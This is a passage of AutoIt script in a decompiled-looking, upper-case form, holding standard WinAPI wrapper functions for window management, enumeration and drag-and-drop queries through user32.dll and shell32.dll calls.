IF $__G_AINPROCESS_WINAPI [$II ] [1 ] THEN
$HLASTWND = $HWND
RETURN TRUE
ELSE
RETURN FALSE
ENDIF
ENDIF
NEXT
LOCAL $IPID
_WINAPI_GETWINDOWTHREADPROCESSID ($HWND , $IPID )
LOCAL $ICOUNT = $__G_AINPROCESS_WINAPI [0 ] [0 ] + 1
IF $ICOUNT >= 64 THEN $ICOUNT = 1
$__G_AINPROCESS_WINAPI [0 ] [0 ] = $ICOUNT
$__G_AINPROCESS_WINAPI [$ICOUNT ] [0 ] = $HWND
$__G_AINPROCESS_WINAPI [$ICOUNT ] [1 ] = ($IPID = @AUTOITPID )
RETURN $__G_AINPROCESS_WINAPI [$ICOUNT ] [1 ]
ENDFUNC
FUNC _WINAPI_INVALIDATERECT ($HWND , $TRECT = 0 , $BERASE = TRUE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "InvalidateRect" , "hwnd" , $HWND , "struct*" , $TRECT , "bool" , $BERASE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ISCLASSNAME ($HWND , $SCLASSNAME )
LOCAL $SSEPARATOR = OPT ("GUIDataSeparatorChar" )
LOCAL $ACLASSNAME = STRINGSPLIT ($SCLASSNAME , $SSEPARATOR )
IF NOT ISHWND ($HWND ) THEN $HWND = GUICTRLGETHANDLE ($HWND )
LOCAL $SCLASSCHECK = _WINAPI_GETCLASSNAME ($HWND )
FOR $X = 1 TO UBOUND ($ACLASSNAME ) + 4294967295
IF STRINGUPPER (STRINGMID ($SCLASSCHECK , 1 , STRINGLEN ($ACLASSNAME [$X ] ) ) ) = STRINGUPPER ($ACLASSNAME [$X ] ) THEN RETURN TRUE
NEXT
RETURN FALSE
ENDFUNC
FUNC _WINAPI_ISWINDOW ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ISWINDOWVISIBLE ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindowVisible" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_MOVEWINDOW ($HWND , $IX , $IY , $IWIDTH , $IHEIGHT , $BREPAINT = TRUE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "MoveWindow" , "hwnd" , $HWND , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "bool" , $BREPAINT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETFOCUS ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetFocus" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETFONT ($HWND , $HFONT , $BREDRAW = TRUE )
_SENDMESSAGE ($HWND , $__WINAPICONSTANT_WM_SETFONT , $HFONT , $BREDRAW , 0 , "hwnd" )
ENDFUNC
FUNC _WINAPI_SETPARENT ($HWNDCHILD , $HWNDPARENT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetParent" , "hwnd" , $HWNDCHILD , "hwnd" , $HWNDPARENT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWPOS ($HWND , $HAFTER , $IX , $IY , $ICX , $ICY , $IFLAGS )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowPos" , "hwnd" , $HWND , "hwnd" , $HAFTER , "int" , $IX , "int" , $IY , "int" , $ICX , "int" , $ICY , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWTEXT ($HWND , $STEXT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowTextW" , "hwnd" , $HWND , "wstr" , $STEXT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SHOWWINDOW ($HWND , $ICMDSHOW = 5 )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ShowWindow" , "hwnd" , $HWND , "int" , $ICMDSHOW )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_UPDATEWINDOW ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UpdateWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __WINAPI_ENUMWINDOWSADD ($HWND , $SCLASS = "" )
IF $SCLASS = "" THEN $SCLASS = _WINAPI_GETCLASSNAME ($HWND )
$__G_AWINLIST_WINAPI [0 ] [0 ] += 1
LOCAL $ICOUNT = $__G_AWINLIST_WINAPI [0 ] [0 ]
IF $ICOUNT >= $__G_AWINLIST_WINAPI [0 ] [1 ] THEN
REDIM $__G_AWINLIST_WINAPI [$ICOUNT + 64 ] [2 ]
$__G_AWINLIST_WINAPI [0 ] [1 ] += 64
ENDIF
$__G_AWINLIST_WINAPI [$ICOUNT ] [0 ] = $HWND
$__G_AWINLIST_WINAPI [$ICOUNT ] [1 ] = $SCLASS
ENDFUNC
FUNC __WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE = TRUE )
$HWND = _WINAPI_GETWINDOW ($HWND , $GW_CHILD )
WHILE $HWND <> 0
IF (NOT $BVISIBLE ) OR _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN
__WINAPI_ENUMWINDOWSADD ($HWND )
__WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE )
ENDIF
$HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT )
WEND
ENDFUNC
FUNC __WINAPI_ENUMWINDOWSINIT ()
REDIM $__G_AWINLIST_WINAPI [64 ] [2 ]
$__G_AWINLIST_WINAPI [0 ] [0 ] = 0
$__G_AWINLIST_WINAPI [0 ] [1 ] = 64
ENDFUNC
#EndRegion Internal Functions
GLOBAL CONST $FLASHW_CAPTION = 1
GLOBAL CONST $FLASHW_TRAY = 2
GLOBAL CONST $FLASHW_TIMER = 4
GLOBAL CONST $FLASHW_TIMERNOFG = 12
GLOBAL CONST $TAGUPDATELAYEREDWINDOWINFO = "dword Size;hwnd hDstDC;long DstX;long DstY;long cX;long cY;hwnd hSrcDC;long SrcX;long SrcY;dword crKey;byte BlendOp;byte BlendFlags;byte Alpha;byte AlphaFormat;dword Flags;long DirtyLeft;long DirtyTop;long DirtyRight;long DirtyBottom"
GLOBAL CONST $TAGWINDOWINFO = "dword Size;struct;long rWindow[4];endstruct;struct;long rClient[4];endstruct;dword Style;dword ExStyle;dword WindowStatus;uint cxWindowBorders;uint cyWindowBorders;word atomWindowType;word CreatorVersion"
GLOBAL CONST $TAGWNDCLASS = "uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName"
GLOBAL CONST $TAGWNDCLASSEX = "uint Size;uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName;ptr hIconSm"
GLOBAL CONST $TAGFLASHWINFO = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
FUNC _WINAPI_ADJUSTWINDOWRECTEX (BYREF $TRECT , $ISTYLE , $IEXSTYLE = 0 , $BMENU = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AdjustWindowRectEx" , "struct*" , $TRECT , "dword" , $ISTYLE , "bool" , $BMENU , "dword" , $IEXSTYLE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ANIMATEWINDOW ($HWND , $IFLAGS , $IDURATION = 1000 )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AnimateWindow" , "hwnd" , $HWND , "dword" , $IDURATION , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_BEGINDEFERWINDOWPOS ($IAMOUNT = 1 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "BeginDeferWindowPos" , "int" , $IAMOUNT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_BRINGWINDOWTOTOP ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "BringWindowToTop" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_BROADCASTSYSTEMMESSAGE ($IMSG , $WPARAM = 0 , $LPARAM = 0 , $IFLAGS = 0 , $IRECIPIENTS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "long" , "BroadcastSystemMessageW" , "dword" , $IFLAGS , "dword*" , $IRECIPIENTS , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN SETEXTENDED ($ARET [2 ] , $ARET [0 ] )
ENDFUNC
FUNC _WINAPI_CALLWINDOWPROC ($PPREVWNDFUNC , $HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , $PPREVWNDFUNC , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CALLWINDOWPROCW ($PPREVWNDPROC , $HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProcW" , "ptr" , $PPREVWNDPROC , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CASCADEWINDOWS ($AWNDS , $TRECT = 0 , $HPARENT = 0 , $IFLAGS = 0 , $ISTART = 0 , $IEND = + 4294967295 )
IF __CHECKERRORARRAYBOUNDS ($AWNDS , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ICOUNT = $IEND - $ISTART + 1
LOCAL $TWNDS = DLLSTRUCTCREATE ("hwnd[" & $ICOUNT & "]" )
$ICOUNT = 1
FOR $I = $ISTART TO $IEND
DLLSTRUCTSETDATA ($TWNDS , 1 , $AWNDS [$I ] , $ICOUNT )
$ICOUNT += 1
NEXT
LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "CascadeWindows" , "hwnd" , $HPARENT , "uint" , $IFLAGS , "struct*" , $TRECT , "uint" , $ICOUNT + 4294967295 , "struct*" , $TWNDS )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CHANGEWINDOWMESSAGEFILTEREX ($HWND , $IMSG , $IACTION )
LOCAL $TCFS , $ARET
IF $HWND AND ($__WINVER > 1536 ) THEN
LOCAL CONST $TAGCHANGEFILTERSTRUCT = "dword cbSize; dword ExtStatus"
$TCFS = DLLSTRUCTCREATE ($TAGCHANGEFILTERSTRUCT )
DLLSTRUCTSETDATA ($TCFS , 1 , DLLSTRUCTGETSIZE ($TCFS ) )
$ARET = DLLCALL ("user32.dll" , "bool" , "ChangeWindowMessageFilterEx" , "hwnd" , $HWND , "uint" , $IMSG , "dword" , $IACTION , "struct*" , $TCFS )
ELSE
$TCFS = 0
$ARET = DLLCALL ("user32.dll" , "bool" , "ChangeWindowMessageFilter" , "uint" , $IMSG , "dword" , $IACTION )
ENDIF
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN SETEXTENDED (DLLSTRUCTGETDATA ($TCFS , 2 ) , 1 )
ENDFUNC
FUNC _WINAPI_CHILDWINDOWFROMPOINTEX ($HWND , $TPOINT , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "ChildWindowFromPointEx" , "hwnd" , $HWND , "struct" , $TPOINT , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CLOSEWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DEFERWINDOWPOS ($HINFO , $HWND , $HAFTER , $IX , $IY , $IWIDTH , $IHEIGHT , $IFLAGS )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "DeferWindowPos" , "handle" , $HINFO , "hwnd" , $HWND , "hwnd" , $HAFTER , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DEFWINDOWPROC ($HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "DefWindowProc" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DEFWINDOWPROCW ($HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "DefWindowProcW" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DEREGISTERSHELLHOOKWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "DeregisterShellHookWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DRAGACCEPTFILES ($HWND , $BACCEPT = TRUE )
DLLCALL ("shell32.dll" , "none" , "DragAcceptFiles" , "hwnd" , $HWND , "bool" , $BACCEPT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_DRAGFINISH ($HDROP )
DLLCALL ("shell32.dll" , "none" , "DragFinish" , "handle" , $HDROP )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_DRAGQUERYFILEEX ($HDROP , $IFLAG = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "uint" , "DragQueryFileW" , "handle" , $HDROP , "uint" , + 4294967295 , "ptr" , 0 , "uint" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , 0 , 0 )
LOCAL $ICOUNT = $ARET [0 ]
LOCAL $ARESULT [$ICOUNT + 1 ]
FOR $I = 0 TO $ICOUNT + 4294967295
$ARET = DLLCALL ("shell32.dll" , "uint" , "DragQueryFileW" , "handle" , $HDROP , "uint" , $I , "wstr" , "" , "uint" , 4096 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (11 , 0 , 0 )
IF $IFLAG THEN
LOCAL $BDIR = _WINAPI_PATHISDIRECTORY ($ARET [3 ] )
IF (($IFLAG = 1 ) AND $BDIR ) OR (($IFLAG = 2 ) AND NOT $BDIR ) THEN
CONTINUELOOP
ENDIF
ENDIF
$ARESULT [$I + 1 ] = $ARET [3 ]
$ARESULT [0 ] += 1
NEXT
IF NOT $ARESULT [0 ] THEN RETURN SETERROR (12 , 0 , 0 )
__INC ($ARESULT , + 4294967295 )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_DRAGQUERYPOINT ($HDROP )
LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "DragQueryPoint" , "handle" , $HDROP , "struct*" , $TPOINT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TPOINT
ENDFUNC
FUNC _WINAPI_ENDDEFERWINDOWPOS ($HINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EndDeferWindowPos" , "handle" , $HINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ENUMCHILDWINDOWS ($HWND , $BVISIBLE = TRUE )
IF NOT _WINAPI_GETWINDOW ($HWND , 5 ) THEN RETURN SETERROR (2 , 0 , 0 )
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumWindowsProc" , "bool" , "hwnd;lparam" )
DIM $__G_VENUM [101 ] [2 ] = [[0 ] ]
DLLCALL ("user32.dll" , "bool" , "EnumChildWindows" , "hwnd" , $HWND , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $BVISIBLE )
IF @ERROR OR NOT $__G_VENUM [0 ] [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_FINDWINDOW ($SCLASSNAME , $SWINDOWNAME )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "FindWindowW" , "wstr" , $SCLASSNAME , "wstr" , $SWINDOWNAME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FLASHWINDOW ($HWND , $BINVERT = TRUE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "FlashWindow" , "hwnd" , $HWND , "bool" , $BINVERT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FLASHWINDOWEX ($HWND , $IFLAGS = 3 , $ICOUNT = 3 , $ITIMEOUT = 0 )
LOCAL $TFLASH = DLLSTRUCTCREATE ($TAGFLASHWINFO )
LOCAL $IFLASH = DLLSTRUCTGETSIZE ($TFLASH )
LOCAL $IMODE = 0
IF BITAND ($IFLAGS , 1 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_CAPTION )
IF BITAND ($IFLAGS , 2 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TRAY )
IF BITAND ($IFLAGS , 4 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TIMER )
IF BITAND ($IFLAGS , 8 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TIMERNOFG )
DLLSTRUCTSETDATA ($TFLASH , "Size" , $IFLASH )
DLLSTRUCTSETDATA ($TFLASH , "hWnd" , $HWND )
DLLSTRUCTSETDATA ($TFLASH , "Flags" , $IMODE )
DLLSTRUCTSETDATA ($TFLASH , "Count" , $ICOUNT )
DLLSTRUCTSETDATA ($TFLASH , "Timeout" , $ITIMEOUT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "FlashWindowEx" , "struct*" , $TFLASH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETANCESTOR ($HWND , $IFLAGS = 1 )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetAncestor" , "hwnd" , $HWND , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETCLASSINFOEX ($SCLASS , $HINSTANCE = 0 )
LOCAL $STYPEOFCLASS = "ptr"
IF ISSTRING ($SCLASS ) THEN
$STYPEOFCLASS = "wstr"
ENDIF
LOCAL $TWNDCLASSEX = DLLSTRUCTCREATE ($TAGWNDCLASSEX )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetClassInfoExW" , "handle" , $HINSTANCE , $STYPEOFCLASS , $SCLASS , "struct*" , $TWNDCLASSEX )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TWNDCLASSEX
ENDFUNC
FUNC _WINAPI_GETCLASSLONGEX ($HWND , $IINDEX )
LOCAL $ARET
IF @AUTOITX64 THEN
$ARET = DLLCALL ("user32.dll" , "ulong_ptr" , "GetClassLongPtrW" , "hwnd" , $HWND , "int" , $IINDEX )
ELSE
$ARET = DLLCALL ("user32.dll" , "dword" , "GetClassLongW" , "hwnd" , $HWND , "int" , $IINDEX )
ENDIF
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETCLIENTHEIGHT ($HWND )
LOCAL $TRECT = _WINAPI_GETCLIENTRECT ($HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TRECT , "Bottom" ) - DLLSTRUCTGETDATA ($TRECT , "Top" )
ENDFUNC
FUNC _WINAPI_GETCLIENTWIDTH ($HWND )
LOCAL $TRECT = _WINAPI_GETCLIENTRECT ($HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" )
ENDFUNC
FUNC _WINAPI_GETDLGITEM ($HWND , $IITEMID )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetDlgItem" , "hwnd" , $HWND , "int" , $IITEMID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETFOREGROUNDWINDOW ()
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetForegroundWindow" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETGUITHREADINFO ($ITHREADID )
LOCAL CONST $TAGGUITHREADINFO = "dword Size;dword Flags;hwnd hWndActive;hwnd hWndFocus;hwnd hWndCapture;hwnd hWndMenuOwner;hwnd hWndMoveSize;hwnd hWndCaret;struct rcCaret;long left;long top;long right;long bottom;endstruct"
LOCAL $TGTI = DLLSTRUCTCREATE ($TAGGUITHREADINFO )
DLLSTRUCTSETDATA ($TGTI , 1 , DLLSTRUCTGETSIZE ($TGTI ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetGUIThreadInfo" , "dword" , $ITHREADID , "struct*" , $TGTI )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [11 ]
FOR $I = 0 TO 10
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TGTI , $I + 2 )
NEXT
FOR $I = 9 TO 10
$ARESULT [$I ] -= $ARESULT [$I + 4294967294 ]
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETLASTACTIVEPOPUP ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetLastActivePopup" , "hwnd" , $HWND )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
IF $ARET [0 ] = $HWND THEN RETURN SETERROR (1 , 0 , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETLAYEREDWINDOWATTRIBUTES ($HWND , BYREF $ITRANSCOLOR , BYREF $ITRANSGUI , $BCOLORREF = FALSE )
$ITRANSCOLOR = + 4294967295
$ITRANSGUI = + 4294967295
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "GetLayeredWindowAttributes" , "hwnd" , $HWND , "INT*" , $ITRANSCOLOR , "byte*" , $ITRANSGUI , "dword*" , 0 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT $BCOLORREF THEN
$ARESULT [2 ] = INT (BINARYMID ($ARESULT [2 ] , 3 , 1 ) & BINARYMID ($ARESULT [2 ] , 2 , 1 ) & BINARYMID ($ARESULT [2 ] , 1 , 1 ) )
ENDIF
$ITRANSCOLOR = $ARESULT [2 ]
$ITRANSGUI = $ARESULT [3 ]
RETURN $ARESULT [4 ]
ENDFUNC
FUNC _WINAPI_GETMESSAGEEXTRAINFO ()
LOCAL $ARET = DLLCALL ("user32.dll" , "lparam" , "GetMessageExtraInfo" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSHELLWINDOW ()
LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetShellWindow" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETTOPWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetTopWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWDISPLAYAFFINITY ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowDisplayAffinity" , "hwnd" , $HWND , "dword*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWINFO ($HWND )
LOCAL $TWINDOWINFO = DLLSTRUCTCREATE ($TAGWINDOWINFO )
DLLSTRUCTSETDATA ($TWINDOWINFO , "Size" , DLLSTRUCTGETSIZE ($TWINDOWINFO ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowInfo" , "hwnd" , $HWND , "struct*" , $TWINDOWINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TWINDOWINFO
ENDFUNC
FUNC _WINAPI_GETWINDOWPLACEMENT ($HWND )
LOCAL $TWINDOWPLACEMENT = DLLSTRUCTCREATE ($TAGWINDOWPLACEMENT )
DLLSTRUCTSETDATA ($TWINDOWPLACEMENT , "length" , DLLSTRUCTGETSIZE ($TWINDOWPLACEMENT ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowPlacement" , "hwnd" , $HWND , "struct*" , $TWINDOWPLACEMENT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TWINDOWPLACEMENT
ENDFUNC
FUNC _WINAPI_ISCHILD ($HWND , $HWNDPARENT )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsChild" , "hwnd" , $HWNDPARENT , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISHUNGAPPWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsHungAppWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISICONIC ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsIconic" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISWINDOWUNICODE ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsWindowUnicode" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
